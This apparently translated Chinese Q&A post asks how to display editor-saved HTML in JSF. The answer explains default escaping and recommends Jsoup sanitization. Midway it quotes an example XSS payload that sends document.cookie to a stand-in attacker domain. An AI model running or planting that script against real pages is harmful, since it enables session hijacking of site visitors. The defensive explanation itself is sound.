在我的应用程序中,用户使用撇号<p:editor>
创建一个公告,以便能够设置文本格式和样式。文本将使用其html标签保存,当我执行选择查询时,我得到的文本带有未解释的标签。是否有一些函数或转换器可以转换这些标签,以便格式化从数据库返回的文本?
实际上,JSF默认情况下会转义HTML特殊字符,以防止不了解开发人员的XSS攻击漏洞。假设最终用户在<p:editor>
中输入了以下内容:
<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>
并且您的网站从字面上解释为,在重新显示过程中,没有任何形式的HTML转义,黑客就会获取有关您网页访问者的会话cookie的所有信息,并轻松地进行会话劫持攻击。
首先,您需要像Jsoup这样的HTML解析器/清理器来在显示之前准备提交的数据(或保存在DB中,最好保存在另一列中。
String sanitizedHTML = Jsoup.clean(unsafeHTML, Whitelist.basic());
然后您可以使用<h:outputText>
属性设置为escape
的false
安全地显示经过清理的HTML:
<h:outputText value="#{bean.sanitizedHTML}" escape="false" />